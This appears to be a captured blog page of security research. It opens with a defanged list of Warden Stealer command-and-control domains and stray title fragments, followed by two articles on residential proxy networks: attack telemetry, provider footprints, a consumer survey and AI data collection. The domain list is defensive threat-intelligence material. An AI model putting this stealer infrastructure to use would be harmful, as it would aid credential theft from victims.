<h3>Extracted Warden Stealer C2 Domains (Non-exhaustive)&nbsp;</h3>backtoblack7[.]com&nbsp; berff3788[.]com&nbsp; bobroviysmex[.]shop&nbsp; bomboclat[.]rest&nbsp; brodyagup[.]com&nbsp; culture-shock[.]club&nbsp; diseazhjw[.]cloud&nbsp; dojaekrt[.]cc&nbsp; dojaekrt[.]forum&nbsp; dojaekrt[.]trade&nbsp; erifytrtr1[.]vip&nbsp; ggresp[.]com&nbsp; hotelcalifornia[.]club&nbsp; hroffice[.]work&nbsp; incoming[.]rent&nbsp; jgkawdq[.]cloud&nbsp; kaiangelsystems[.]rest&nbsp; kaifdlyaw[.]com&nbsp; kaliop-weda[.]club&nbsp; konradkerz40000[.]work&nbsp; library2000[.]com&nbsp; luqiuid91[.]com&nbsp; macfilecloud8[.]com&nbsp; matie-bal[.]club&nbsp; modicontools[.]com&nbsp; nextlanding[.]net&nbsp; nweenwew234[.]cc&nbsp; patduggan[.]com&nbsp; pianolovers[.]club&nbsp; piska-sosidka-govno[.]asia&nbsp; plainhorizon[.]org&nbsp; publisher99[.]com&nbsp; rabbids-sixseven[.]cc&nbsp; recap-check[.]org&nbsp; rocks56[.]com&nbsp; rrrrrrrfffff[.]club&nbsp; russianaltushkawantdickinside[.]club&nbsp; sfgiantslive[.]com&nbsp; skibidiclipper[.]pw&nbsp; skibidiproliv[.]com&nbsp; skibidistealer[.]team&nbsp; systemformating[.]rest&nbsp; verifytrtr[.]vip&nbsp; vlad-nazarenko2004[.]club&nbsp; web03-azureupdate[.]com&nbsp; webex-028ue2[.]com&nbsp; wosback[.]cc&nbsp; zalupka[.]website&nbsp; zolotoy[.]club&nbsp; zxcwork[.]com&nbsp;

From Attribution to a Technical Breakdown of a Rust Infostealer

Warden Stealer: The Rapid Rise of an Infostealer with an Appetite for AI Agent Data

Security Evangelist at Gen

You install an app that offers a reward, a premium feature or perhaps a little money in exchange for sharing some of your unused internet bandwidth. It sounds harmless enough. Your connection is idle most of the time anyway.What may be less obvious is what that arrangement can mean in practice. Traffic from someone else can leave the internet through your home connection, using your residential IP address. To the website receiving that traffic, it can look as though the request came from you. And if that traffic is malicious or abusive, it is your home IP address that is associated with it.That is the basic idea behind a residential proxy. Businesses use them for perfectly legitimate purposes, from price monitoring and ad verification to web scraping and <a href="https://www.gendigital.com/blog/insights/research/the-ai-data-race">AI data collection</a>. But the model depends on something that is easy to overlook: every residential IP being sold has to belong to a real connection somewhere.We wanted to look at that side of the market.How many computers we protect are actually running software associated with residential proxy networks? Where are they? Which providers have the largest footprint? Are those residential proxy networks being misused?&nbsp;&nbsp;What kinds of threats are involved, and do they look the same from one provider to another?And before we looked at any of that, we asked an even more basic question: do people actually understand what they are agreeing to?

KEY TAKEAWAYS<ul type="disc"><li data-list-item-id="e725035ce634bc551d23eb087fcd37396">We blocked 20.8 million attacks associated with residential proxy ecosystems between January and mid-September 2026. Phishing was the most prominent threat classification, with 5.15 million blocked attacks, followed by 1.26 million involving malvertising.&nbsp;</li><li data-list-item-id="ec59d16726c7bd071fbc01940b1615690">The geography of malicious activity does not simply mirror the geography of residential proxy installations. The United States ranked only 10th in our September snapshot of active residential proxy software, with around 56,000 users, but 4th in blocked malicious activity, with more than 1.1 million attacks.&nbsp;</li><li data-list-item-id="e98fe79ebb34c1567cb95df881e50cfc9">The residential proxy footprint we observe is highly concentrated. Bright Data, Hola and NetNut account for around 94% of the active provider footprint in our Windows telemetry, although their geographic distributions differ substantially.&nbsp;</li><li data-list-item-id="ed7cfcec5f4de647ba0c48381878a0edc">There is no single residential proxy threat profile. Some provider ecosystems are dominated by phishing and malvertising, while others show much stronger associations with droppers, file infectors, worms or trojans.&nbsp;</li><li data-list-item-id="ebf754ed261a74226c83755f05a864955">Most US consumers do not really understand what residential proxies do. Only 8.8% of respondents correctly identified how they work, while 17.2% said they currently use an app that rewards them for sharing unused bandwidth. Once the behavior was explained, 76.5% said they would be concerned about third parties routing traffic through their home connection.&nbsp;</li></ul>

<h2>We started with the machines</h2>Our installation telemetry identified software associated with 18 residential proxy providers on active Windows systems we protect. The first thing that stood out was concentration. Bright Data, whose customers include NBCUniversal, Deloitte, and McDonalds, had by far the largest footprint, with an estimated 1.47 million active users in our September snapshot. Hola followed with approximately 664,000, and NetNut with around 474,000. After those three, the numbers fall quickly: Honeygain was at about 68,000 active users and Infatica at roughly 56,000, while no other provider in our current dataset reached 11,000.Taken together, Bright Data, Hola and NetNut account for roughly 94% of the combined provider footprint we observed. These numbers give us a view of the supply side, the computers that can contribute residential connectivity to these networks.

The geography is just as interesting. India had the largest combined residential proxy footprint in our snapshot, with approximately 294,000 active user observations. Vietnam followed at around 177,000, Ukraine at 132,000, Brazil at 131,000 and the Philippines at 97,000. The United States ranked tenth, at approximately 56,000.Individual providers have very different geographic fingerprints. Bright Data appeared across 153 countries and territories, with its largest concentrations in India, Vietnam and Brazil. Hola was also led by India and Vietnam. NetNut looked very different: Ukraine accounted for around 60,000 active users associated with its software, followed by India at around 34,000. Honeygain was strongest in Brazil and the Philippines, while Infatica was led by Ukraine and India. Residential proxy providers may sell access to a global pool, but the capacity underneath each network is not distributed in the same way.

<h2>Windows is only one part of the picture</h2>Our telemetry deliberately focuses on identifiable applications running on Windows that are associated with residential proxy networks. It does not attempt to measure proxy SDKs embedded inside other applications, nor devices running Android, smart TVs, routers or other connected hardware. The footprint in this research should therefore be read as the part of the ecosystem we can measure consistently, not as its total size.That wider ecosystem is not theoretical. In 2026, researchers at Spur examined more than 6,000 apps for LG webOS and Samsung Tizen smart TVs and found residential proxy SDKs in roughly a third of them. <a href="https://krebsonsecurity.com/2026/07/lg-to-ban-residential-proxies-from-smart-tv-apps/">LG</a> and <a href="https://techcrunch.com/2026/08/03/samsung-bans-smart-tv-apps-that-share-users-internet-connections-with-strangers/">Samsung</a> subsequently moved to restrict or remove apps containing residential proxy functionality from their TV platforms.&nbsp;Mobile connectivity extends the ecosystem beyond the Windows applications covered in this research. Residential and mobile proxy infrastructure can also be built using SIM cards and banks of cellular modems, providing IP addresses from mobile networks rather than fixed broadband connections. There are more advanced ways of extracting additional usable addresses from mobile connectivity too, but that is an area we would want to research separately before drawing conclusions.What we see on Windows is therefore not the residential proxy ecosystem. It is one window into it.<h2>Then came the security question: what is flowing through these networks?</h2>The presence of malicious traffic does not mean that a residential proxy provider is responsible for that activity. Legitimate infrastructure is routinely abused by bad actors, and larger networks naturally provide more opportunities for misuse. Our data shows what we observed and blocked through these networks, not that the providers themselves generated or knowingly enabled the activity.Mapping the software tells us where part of the residential proxy supply comes from, but it does not tell us how the networks are being used. We therefore looked at malicious traffic our protections blocked from the residential proxy providers in the study between January and mid-September 2026.The total was 20.8M distinct blocked attacks. Bright Data alone was associated with 17.336,419 of them, affecting 771,159 protected users (computers running the residential proxy through which the malicious traffic was routed). That is about 83% of all provider-level blocked attacks in this dataset. Honeygain was a distant second by attack volume, with 1,265,540 blocked attacks affecting 51,271 users. NetNut was associated with 789,668 attacks affecting 663,426 users, Tuxler with 571,810 attacks across 19,184 users, and Hola with 406,415 across 170,577 users.Those numbers are not a ranking of which provider is 'most dangerous'. A larger network has more opportunities to appear in telemetry, and the installation snapshot and the attack data cover different periods.&nbsp;Even within the affected population, repetition varies sharply. Bright Data averaged about 22.5 distinct blocked attacks per protected user over the period, Honeygain about 24.7 and Tuxler about 29.8.<h2>Phishing leads overall, but the threat mix varies</h2>When we group the blocked activity by threat type, phishing is the most prominent classification by a wide margin, appearing in more than 5.15 million provider-category attack observations. Malvertising follows at about 1.26 million, then trojans at roughly 667,000. E-shop scams account for around 388,000 category observations, file infectors for about 329,000 and droppers for more than 173,000.These categories overlap. A single malicious event can trigger more than one classification, so the category figures must not be added together or presented as pieces of a 100% distribution.&nbsp;

Bright Data accounts for most of the phishing volume in absolute terms. We blocked almost 4.63 million phishing-classified attacks associated with the network, affecting 523,696 protected users. Roughly 68% of all users we protected from Bright Data-associated attacks encountered at least one phishing-classified event. Malvertising affected another 314,784 users, trojans 182,422 and e-shop scams 165,007.Honeygain and Tuxler show a similar concentration in phishing and other web-based threats. Phishing affected around 33,600 Honeygain users, close to two-thirds of its protected population, while Tuxler had phishing detections for more than 15,000 of its 19,184 protected users, around 80%.Hola and NetNut look very different. Hola's leading classifications were worms, trojans and file infectors, affecting approximately 54,000, 50,000 and 45,000 protected users respectively. With NetNut, droppers affected around 88,700 protected users and file infectors around 76,700, while phishing was comparatively limited. Microleaves/Shifter also showed a strongly file-oriented profile, led by file infectors, droppers and adware.That variation is one of the more useful findings in the data. 'Residential proxy abuse' is often discussed as a single category, but the traffic we block does not look homogeneous. Different provider ecosystems are associated with substantially different mixes of phishing, scams and malware.<h2>Where we blocked the attacks</h2>India recorded the largest volume of blocked attacks associated with residential proxy ecosystems in our country-level data, at about 1.76 million. Brazil followed at roughly 1.50 million, Vietnam at 1.32 million, the United States at 1.14 million and France at just under 990,000. The next group included the Philippines, Indonesia, Poland, Spain and Ukraine.The geography of malicious traffic does not simply follow the size of the residential proxy footprint. The United States and France stand out in particular. The US ranked only 10th in our September snapshot of active residential proxy installations, with around 56,000 users, but 4th in blocked malicious activity, with more than 1.1 million attacks routed through residential proxy nodes there. France shows a similar pattern, with a relatively modest installation footprint but almost one million blocked attacks.One explanation is that residential IP addresses in Western markets are especially useful to attackers trying to blend in with the consumers or services they are targeting. Traffic coming from a US residential IP, for example, may look less unusual to a US service than the same request coming from a distant geography or a data center.&nbsp;

CASE STUDY: NETNUTWhat remains after a network is disruptedNetNut deserves separate treatment because events in 2026 changed the status of the network itself. NetNut is a subsidiary of Alarum Technologies, a publicly traded company listed on Nasdaq and the Tel Aviv Stock Exchange.&nbsp;<a href="https://www.sec.gov/Archives/edgar/data/1725332/000121390026075116/ea029701101ex99-1.htm">On July 2, Alarum disclosed</a> that the FBI had seized domains associated with NetNut.&nbsp;<a href="https://www.sec.gov/Archives/edgar/data/1725332/000121390026075179/ea029704201ex99-1.htm">Additional domains were subsequently seized, services were disrupted</a>, and Alarum later&nbsp;<a href="https://www.sec.gov/Archives/edgar/data/1725332/000121390026075170/ea029706002ex99-3.htm">announced a temporary pause</a> of traffic through the affected network services while it investigated the incident.<a href="https://cloud.google.com/blog/topics/threat-intelligence/google-continued-disruption-residential-proxy-networks">Google Threat Intelligence Group</a>, which took action in coordination with the FBI, Lumen and others, described NetNut as a residential proxy network also known as Popa. Google estimated it at least two million devices worldwide and said it observed 316 distinct threat clusters using suspected NetNut exit nodes during a single week in June, including cybercriminal and espionage groups. Google also said it had high confidence that many residential proxy brands were white-labeling the NetNut network.Legal and corporate consequences followed.&nbsp;<a href="https://www.sec.gov/Archives/edgar/data/1725332/000121390026089059/ea0301943-6k_alarum.htm">Alarum disclosed proceedings in Israel and a US class action complaint filed in New Jersey</a>. The company said it was reviewing the proceedings with its legal advisers and intended to defend itself vigorously. The claims in those proceedings are allegations, not established findings.Our telemetry adds a different piece to the story. In the first half of September, around two months after the law-enforcement action, we still observed software associated with NetNut on approximately 474,000 active Windows systems. At the same time, we did not observe corresponding NetNut proxy traffic from those installations. That is consistent with Alarum’s July announcement that traffic through the affected services had been paused.In other words, the software footprint remained, but the proxy activity did not. Domains can be seized quickly; software distributed across hundreds of thousands of computers does not disappear with them.

<h2>Confidence is much higher than understanding</h2>Against that telemetry, the results of our US survey become particularly revealing. In July 2026, we asked 1,000 adults what they knew about residential proxies and bandwidth sharing. At first glance, awareness did not look terrible: 13.9% said they understood what residential proxies were and how they worked, while another 13.2% said they had a basic idea. Combined, 27.1% believed they understood the technology to some degree.We then tested that understanding. Among the respondents who said they understood residential proxies, only 32.3% selected the correct explanation: that a residential proxy allows other people or companies to route internet traffic through a real user's home internet connection. Across the full sample, that leaves just 8.8% of US adults who both claimed some understanding and chose the correct definition.The terminology may be obscure, but the business model is more familiar. Some 17.2% of respondents said they currently use an app offering rewards, money, premium features or free access in exchange for sharing unused internet bandwidth, and another 12.2% said they had used one in the past. The survey was not designed to determine whether those specific apps were part of residential proxy networks, but the gap is striking: almost twice as many respondents said they currently use a bandwidth-sharing app as could correctly explain what a residential proxy does.

The mismatch becomes clearer when we describe the behavior rather than the industry term. Only 25.1% expected 'sharing unused bandwidth' to mean that other people or companies might access websites through their home IP address, while 26.0% understood that their device could appear to websites as the source of somebody else's internet activity. Almost a third, 31.6%, said they would not know what the phrase meant.When we asked how concerned people would be if an app allowed third parties to route internet traffic through their home connection, 76.5% said they would be very or somewhat concerned. Among that group, 55.5% worried about their home IP address being associated with suspicious or illegal activity, 51.5% about privacy, and 41.1% about accounts or services being blocked because suspicious traffic appeared to come from their IP address.Those fears line up closely with the reason residential proxies are useful in the first place. Traffic inherits the characteristics and reputation of an ordinary consumer connection. For legitimate customers, that can make large-scale data collection or geographic testing possible. For an attacker, the same property can make malicious activity harder to distinguish from normal residential traffic. Our telemetry does not tell us whether any particular survey respondent's connection was used that way, but the 20.8 million attacks we blocked show that malicious use of residential proxy infrastructure is far from theoretical.Asked whether they would install an app that allowed third parties to route traffic through their home connection in return for a small reward or free access, 53.4% said no. Another 26.7% said maybe, if the app was clear about what it did, and 20.0% said they definitely would. The survey covers US adults only, so these percentages should not be projected globally, but they underline a basic communication problem: 'share unused bandwidth' sounds very different from 'allow somebody else's traffic to leave the internet through your home IP address.'<h2>Consent, contracts and promises</h2>Residential proxy services have legitimate customers, and there are consumers who knowingly choose to exchange bandwidth for money, rewards or free services. The presence of residential proxy software on a machine, or even malicious traffic on a provider's network, does not by itself prove that a provider misled users or failed to enforce its policies.Consent is still more complicated than a checkbox. There may be a proxy customer, a proxy provider, an application developer embedding an SDK, the consumer whose device supplies the residential IP, and an internet service provider whose connection is ultimately being used. Each relationship can carry different promises and restrictions.Some residential ISP agreements, for example, explicitly restrict this kind of sharing. <a href="https://www.verizon.com/support/fios-customer-agreement/">Verizon's current Fios terms</a> state that subscribers may not resell, re-provision or rent the service, or allow third parties outside normal guest Wi-Fi use to use it, and tell customers they are responsible for opting out of connected-device features that would violate those terms. That does not mean residential proxy software automatically breaches an ISP contract; terms vary by provider, country and service. It does show that the consumer's click on an application consent screen may not be the only agreement that matters.The industry also makes broader promises around ethical sourcing, informed consent, customer vetting and abuse prevention. Those promises are increasingly becoming testable rather than purely rhetorical. In July, the <a href="https://www.amtso.org/news/amtso-testing-app-promises-guideline-paper-preprint-for-public-review/">Anti-Malware Testing Standards Organization, AMTSO, published a draft framework</a> for testing the explicit and implied promises made by applications and services. The draft has completed public review and is moving through final approval.Residential proxies are one of the <a href="https://www.amtso.org/wp-content/uploads/2026/07/AMTSO_App_Promises_Testing_Guidelines_Draft_For_Review.pdf">worked examples in the draft</a>. It specifically discusses testing claims around sourcing and consent, preventing abuse and misuse, protecting the consumer endpoint, and the fact that the paying proxy customer is not the same person as the consumer whose device or connection is being used. Gen participated in the working group that produced the draft.Our research is not a compliance test against that framework, and the presence of malicious activity is not evidence by itself that a provider has broken a promise. What our data does show is why those promises deserve scrutiny. When a business depends on millions of residential IP addresses and sells access to third parties, questions about where those endpoints came from, what users agreed to and what controls are in place are part of the security model, not just the marketing.<h2>Trust is no longer enough</h2>Residential proxies are not going away. If anything, the demand for them is likely to grow as AI companies, data businesses and automated agents need more ways to access the public web at scale without every request coming from a data center.That makes the questions around these networks more important, not less.A residential proxy provider can say that its endpoints are ethically sourced, that users have consented, that customers are vetted and that abuse is controlled. Those are reasonable promises to make. But once a network reaches millions of devices and carries traffic on this scale, they should also become promises that can be independently tested.Our data does not show that residential proxy networks are inherently malicious. It shows something more useful: legitimate infrastructure can still carry a substantial amount of malicious activity, the threat profile can vary enormously from one network to another, and the people supplying the residential connections often understand far less about the technology than the industry around them does.That creates responsibilities on both sides of the market.Customers buying residential access should care about where those IP addresses came from and what controls exist around the network they are using. Providers should be able to demonstrate how endpoints are sourced, what users agreed to, how abuse is detected and what happens when those controls fail. And consumers should be told, in language they can actually understand, what it means when an application asks them to "share unused bandwidth."The residential proxy industry has spent years making it easier to buy access to someone else's IP address.The next challenge is proving that everyone involved understands, and can trust, what happens after that access is sold.<h2>Methodology</h2><h3>Installation telemetry</h3>Gen Threat Labs developed telemetry to identify Windows software associated with selected commercial residential proxy providers. The installation data used in this research covers active systems observed between September 1 and September 15, 2026.The figures in the article are active-user populations derived from Gen telemetry. A computer had to be active and connected during the observation period to appear. User counts in the provider, software-path and country views used in the analysis are deduplicated within those views.The installation data represents the Gen Windows user population. It should not be interpreted as a census of every residential proxy endpoint worldwide or as a measure of commercial market share.Disclosure: Gen uses Bright Data proxy and browser infrastructure in some privacy and reputation services. Bright Data had no involvement in this research, and the findings are based on Gen Threat Labs telemetry and security detections.<h3>Malicious traffic</h3>The malicious-traffic analysis covers January through mid-September 2026 and focuses on attacks associated with the residential proxy providers included in the study.Protected users are unique users for whom Gen blocked at least one attack associated with a provider. Blocked attacks are deduplicated at the malicious-event level, so multiple detections triggered by the same event do not inflate the provider-level total.For the geographic view of malicious activity, country refers to the location of the residential proxy exit node.&nbsp;<h3>Appendix: Key telemetry data</h3>Installation telemetry in this appendix refers to Gen-protected Windows users on whose devices we observed software associated with residential proxy providers during the research period. These figures are not provider-reported user or installation counts.

A. Largest residential proxy provider footprints<table class="table"><tbody><tr><td>Provider</td><td>Active users</td></tr><tr><td>Bright Data</td><td>1.47M</td></tr><tr><td>Hola</td><td>664K</td></tr><tr><td>NetNut</td><td>474K</td></tr><tr><td>Honeygain</td><td>68K</td></tr><tr><td>Infatica</td><td>56K</td></tr><tr><td>SOAX</td><td>10K</td></tr><tr><td>IPRoyal</td><td>7.9K</td></tr><tr><td>Tuxler</td><td>6.3K</td></tr><tr><td>PacketStream</td><td>5.3K</td></tr><tr><td>TraffMonetizer</td><td>3.0K</td></tr></tbody></table>B. Countries with the largest combined residential proxy footprint<table class="table"><tbody><tr><td>Country</td><td>Active user observations</td></tr><tr><td>India</td><td>294K</td></tr><tr><td>Vietnam</td><td>177K</td></tr><tr><td>Ukraine</td><td>132K</td></tr><tr><td>Brazil</td><td>131K</td></tr><tr><td>Philippines</td><td>97K</td></tr><tr><td>Indonesia</td><td>89K</td></tr><tr><td>Poland</td><td>74K</td></tr><tr><td>Thailand</td><td>62K</td></tr><tr><td>Mexico</td><td>57K</td></tr><tr><td>United States</td><td>56K</td></tr></tbody></table>&nbsp;C. Leading install countries by provider<table class="table"><tbody><tr><td>Provider</td><td>No. 1</td><td>No. 2</td><td>No. 3</td></tr><tr><td>Bright Data</td><td>India</td><td>Vietnam</td><td>Brazil</td></tr><tr><td>Hola</td><td>India</td><td>Vietnam</td><td>Brazil</td></tr><tr><td>NetNut</td><td>Ukraine</td><td>India</td><td>Kazakhstan</td></tr><tr><td>Honeygain</td><td>Brazil</td><td>Philippines</td><td>India</td></tr><tr><td>Infatica</td><td>Ukraine</td><td>India</td><td>Philippines</td></tr><tr><td>SOAX</td><td>Uzbekistan</td><td>Kazakhstan</td><td>South Korea</td></tr><tr><td>IPRoyal</td><td>France</td><td>Netherlands</td><td>Belgium</td></tr><tr><td>Tuxler</td><td>Poland</td><td>Argentina</td><td>United Kingdom</td></tr><tr><td>PacketStream</td><td>India</td><td>Dominican Republic</td><td>Brazil</td></tr><tr><td>TraffMonetizer</td><td>Argentina</td><td>Philippines</td><td>Hong Kong</td></tr></tbody></table>&nbsp;D. Blocked attacks by provider ecosystem, top 5<table class="table"><tbody><tr><td>Provider ecosystem</td><td>Blocked attacks</td></tr><tr><td>Bright Data</td><td>17.3M</td></tr><tr><td>Honeygain</td><td>1.27M</td></tr><tr><td>NetNut</td><td>790K</td></tr><tr><td>Tuxler</td><td>572K</td></tr><tr><td>Hola</td><td>406K</td></tr></tbody></table>Absolute attack volume is influenced by network size and should not be interpreted as a ranking of provider risk.E. Most common threat classifications<table class="table"><tbody><tr><td>Threat category</td><td>Blocked attack observations</td></tr><tr><td>Phishing</td><td>5.15M</td></tr><tr><td>Malvertising</td><td>1.26M</td></tr><tr><td>Trojan</td><td>667K</td></tr><tr><td>Miscellaneous</td><td>408K</td></tr><tr><td>E-shop scam</td><td>388K</td></tr><tr><td>File infector</td><td>329K</td></tr><tr><td>Dropper</td><td>173K</td></tr><tr><td>Generic scam</td><td>113K</td></tr><tr><td>Worm</td><td>66K</td></tr><tr><td>Financial scam</td><td>47K</td></tr></tbody></table>&nbsp;F. Leading threat types by provider ecosystem<table class="table"><tbody><tr><td>Provider ecosystem</td><td>Leading type</td><td>Second</td><td>Third</td></tr><tr><td>Bright Data</td><td>Phishing</td><td>Malvertising</td><td>Trojan</td></tr><tr><td>Honeygain</td><td>Phishing</td><td>Malvertising</td><td>E-shop scam</td></tr><tr><td>NetNut</td><td>Dropper</td><td>File infector</td><td>Trojan</td></tr><tr><td>Tuxler</td><td>Phishing</td><td>Malvertising</td><td>Trojan</td></tr><tr><td>Hola</td><td>Worm</td><td>Trojan</td><td>File infector</td></tr><tr><td>Microleaves / Shifter</td><td>File infector</td><td>Dropper</td><td>Adware</td></tr><tr><td>IPRoyal</td><td>Phishing</td><td>E-shop scam</td><td>Malvertising</td></tr><tr><td>ByteLixir</td><td>Phishing</td><td>E-shop scam</td><td>Trojan</td></tr><tr><td>Infatica</td><td>Phishing</td><td>Spyware</td><td>File infector</td></tr></tbody></table>Types are ordered by the number of protected users associated with each classification.&nbsp;G. Countries with the largest volume of blocked attacks<table class="table"><tbody><tr><td>Country</td><td>Blocked attacks</td></tr><tr><td>India</td><td>1.76M</td></tr><tr><td>Brazil</td><td>1.50M</td></tr><tr><td>Vietnam</td><td>1.32M</td></tr><tr><td>United States</td><td>1.14M</td></tr><tr><td>France</td><td>988K</td></tr><tr><td>Philippines</td><td>774K</td></tr><tr><td>Indonesia</td><td>691K</td></tr><tr><td>Poland</td><td>519K</td></tr><tr><td>Spain</td><td>518K</td></tr><tr><td>Ukraine</td><td>481K</td></tr></tbody></table>&nbsp;

Inside the hidden supply chain of residential proxies

Your IP, Their Traffic 

An ordinary home connection can now form part of a much larger data collection network, sometimes through an app installed for a completely different reason.&nbsp;AI models were first associated with enormous collections of text, but today's systems need far more: current search results, product catalogues, images, music, video, live websites and almost anything else that can make them more capable or keep their answers up to date. Training is only part of the demand. Shopping assistants, research tools and other AI agents need to return to the web continuously if they are to work with current information.&nbsp;Collecting all of that data is not straightforward. Website operators impose rate limits, block known datacenter addresses and use anti-bot systems to identify automated activity. A crawler operating from a cloud server is relatively easy to spot. Traffic coming from an ordinary home connection is much harder to reject without also blocking legitimate visitors.&nbsp;Residential proxy networks offer a way around those controls by routing requests through IP addresses assigned to real households. The website sees what appears to be an ordinary visitor in a particular country, city or network, which is precisely what makes the connection valuable to the buyer.&nbsp;The person paying for that connection may see a very different proposition: install an app, share some "unused bandwidth" and receive money, rewards or free access in return. The screen may explain that the app will use spare resources, but say little about who will use the connection, which websites they will visit or why a residential IP address is worth paying for.&nbsp;

<h2>Why AI companies want residential IP addresses&nbsp;</h2>Once an AI product depends on live information, web access becomes part of the product itself. A shopping assistant is of limited use if it cannot see today's prices and stock, while a research agent has to open pages and follow links as it works. The same problem applies to systems handling audio, images and video.&nbsp;Many websites do not welcome automated collection at that scale. They throttle repeated requests, challenge suspicious sessions and block addresses associated with data centers or known automation. Residential proxies spread those requests across household connections, making them much harder to separate from normal browsing.&nbsp;This is no longer a niche use case hidden in technical documentation. Several large proxy providers now give AI its own product pages, integrations and commercial programmes.&nbsp;<a href="https://brightdata.com/ai/web-access" target="_blank" rel="noreferrer noopener">Bright Data</a> promotes infrastructure for model training, retrieval, multimodal datasets and web access for AI agents. It claims access to more than 400 million residential IP addresses and presents its services as a way to overcome CAPTCHAs, rate limits and blocked requests.&nbsp;<a href="https://oxylabs.io/solutions/ai-web-search" target="_blank" rel="noreferrer noopener">Oxylabs</a> sells proxy and scraping infrastructure for real-time AI search and agents, while <a href="https://soax.com/use-cases/ai-datasets" target="_blank" rel="noreferrer noopener">SOAX</a> recommends rotating residential proxies for collecting product data, prices, listings and AI training sets. <a href="https://decodo.com/data-ai-training" target="_blank" rel="noreferrer noopener">Decodo</a> markets residential proxies and scraping tools for AI training and live agents. <a href="https://iproyal.com/use-cases/ai-training/" target="_blank" rel="noreferrer noopener">IPRoyal</a> describes rotating residential proxies as infrastructure for large-scale AI data collection.&nbsp;The network sizes are the companies' own figures and should be read as marketing claims rather than independent measurements. Even so, the pitch across the industry is remarkably consistent: household IP addresses help automated systems reach websites that resist datacenter traffic.&nbsp;The Suno leak offered a rare look at how this can work from the customer's side. <a href="https://ddosecrets.org/article/suno-ai-source" target="_blank" rel="noreferrer noopener">Distributed Denial of Secrets</a> published more than 100 repositories attributed to the AI music company, saying the material showed that Suno collected music and related information from YouTube, Genius and Deezer with assistance from Bright Data. <a href="https://www.404media.co/hack-reveals-suno-ai-music-generator-scraped-youtube-deezer-and-genius/" target="_blank" rel="noreferrer noopener">404 Media</a> reported that one file referred to 2,013,545 YouTube Music clips, while comments in other files described datasets containing hundreds of thousands of hours of audio.&nbsp;<h2>How household connections enter the supply chain&nbsp;</h2>A residential network can only offer household IP addresses if real devices supply them. Some people deliberately install bandwidth-sharing or "passive income" tools. In other cases, the proxy component sits inside a free app whose visible purpose has nothing to do with routing somebody else's traffic.&nbsp;<a href="https://spur.us/blog/smart-tv-apps-residential-proxy-sdks" target="_blank" rel="noreferrer noopener">Spur Intelligence</a> scanned 6,038 applications across LG webOS and Samsung Tizen and reported residential proxy functionality in 2,058 of them. The list included games, screensavers and utilities, exactly the sort of apps someone could install without expecting the television to become part of a commercial proxy network.&nbsp;Televisions are useful proxy nodes because they remain online for long periods and few people inspect what is running in the background. Someone may accept a prompt once, forget about it and continue using the television while the proxy component remains active. <a href="https://www.mnemonic.io/resources/blog/samsungs-recommendation-rent-out-your-tvs-internet-connection/" target="_blank" rel="noreferrer noopener">Researchers at Mnemonic</a> found that, once enabled, the Bright Data SDK in some Samsung apps activated a background service that continued running after the user navigated away from the app.&nbsp;The television manufacturers have since responded. <a href="https://krebsonsecurity.com/2026/07/lg-to-ban-residential-proxies-from-smart-tv-apps/" target="_blank" rel="noreferrer noopener">LG</a> said it would suspend webOS apps whose developers failed to remove residential proxy functionality. <a href="https://techcrunch.com/2026/08/03/samsung-bans-smart-tv-apps-that-share-users-internet-connections-with-strangers/" target="_blank" rel="noreferrer noopener">Samsung</a> has restricted new app registrations containing proxy components, is introducing a platform-wide ban on residential proxy SDKs and says it is identifying and removing existing apps that contain them.&nbsp;Whatever an individual consent screen may say, these companies have decided that residential proxy functionality does not belong in apps distributed through their smart TV platforms.&nbsp;<h2>What "unused bandwidth" does not tell you&nbsp;</h2>The phrase sounds harmless. Most people will understand it as capacity that is sitting idle, not as permission for paying customers to visit websites through their IP address.&nbsp;That IP address is what gives the connection its commercial value. It allows a proxy customer to make requests that websites see as coming from a household rather than a datacenter. Describing the arrangement only in terms of bandwidth leaves out the part that buyers are actually paying for.&nbsp;The amount of traffic can also be difficult to judge from a consent screen. In the Petflix Roku app, the screen said Bright Data would <a href="https://blog.includesecurity.com/2026/06/the-smart-tv-in-your-livingroom-is-a-node-in-the-aiscraping-economy/" target="_blank" rel="noreferrer noopener">"occasionally" use the device's free resources</a> and IP address to download public web data. Include Security found that the SDK's publicly accessible configuration set a maximum of 200 GB of Wi-Fi traffic per month. That setting does not tell us how much data a typical device transferred, but it does show how little the word "occasionally" tells the person being asked to agree.&nbsp;<h2>Residential proxy networks also carry malicious traffic&nbsp;</h2>Fraudsters use the same infrastructure for phishing, malicious advertising, automated account activity and malware distribution.&nbsp;In our <a href="https://www.gendigital.com/blog/insights/research/residential-proxies" target="_blank" rel="noreferrer noopener">previous research</a>, Gen telemetry recorded 7.4 million malicious incidents associated with residential proxy traffic since January 2026, affecting 572,000 users. Phishing and malicious advertising were the largest categories, followed by e-shop scams, financial scams and malware.&nbsp;Those figures do not measure the whole residential proxy market, and they do not mean that every affected user was running a proxy node. They cover malicious activity associated with residential proxy traffic that reached people protected by our products.&nbsp;When abusive traffic exits through a household connection, that address may be the first identifier seen by the outside world. The customer can stop using the proxy, but blocks or suspicion may remain attached to the household connection.&nbsp;<h2>What informed consent would require&nbsp;</h2>Residential proxy providers say their networks are ethically sourced and based on user consent. <a href="https://brightdata.com/trustcenter/sourcing" target="_blank" rel="noreferrer noopener">Bright Data</a>, for example, says devices join its network only after users agree through an approved app and consent screen.&nbsp;A user may click "accept" knowing that an app will use spare bandwidth and still have no idea that companies will route automated traffic through the connection. They may never be told that the traffic could involve AI training, web scraping or software agents visiting sites at scale.&nbsp;The consent screen should say that third parties will access websites through the user's home IP address. It should explain the main categories of use, show when the proxy is active and make it possible to switch the function off without losing control of the rest of the app. Users should also be told how much data the software is allowed to consume.&nbsp;Residential proxies do have legitimate uses, including ad verification, price comparison and testing how services appear in different locations. AI developers also need current public information. In any case, those uses do not justify vague consent.&nbsp;People do not need to know the term “residential proxy.” They do need to know that third parties may route traffic through their home connection, that websites will see their IP address, and how much data the software is allowed to consume. That should be clear before they click accept, not buried in terms they are unlikely to read.&nbsp;Calling it “unused bandwidth” does not change what the buyer is purchasing: access to a household IP address.&nbsp;

Residential proxy providers sell household IP access for AI data collection, but many users do not understand what that access involves. 

Is Your Home Internet Feeding the AI Data Race? 

Threat Analysis Engineer

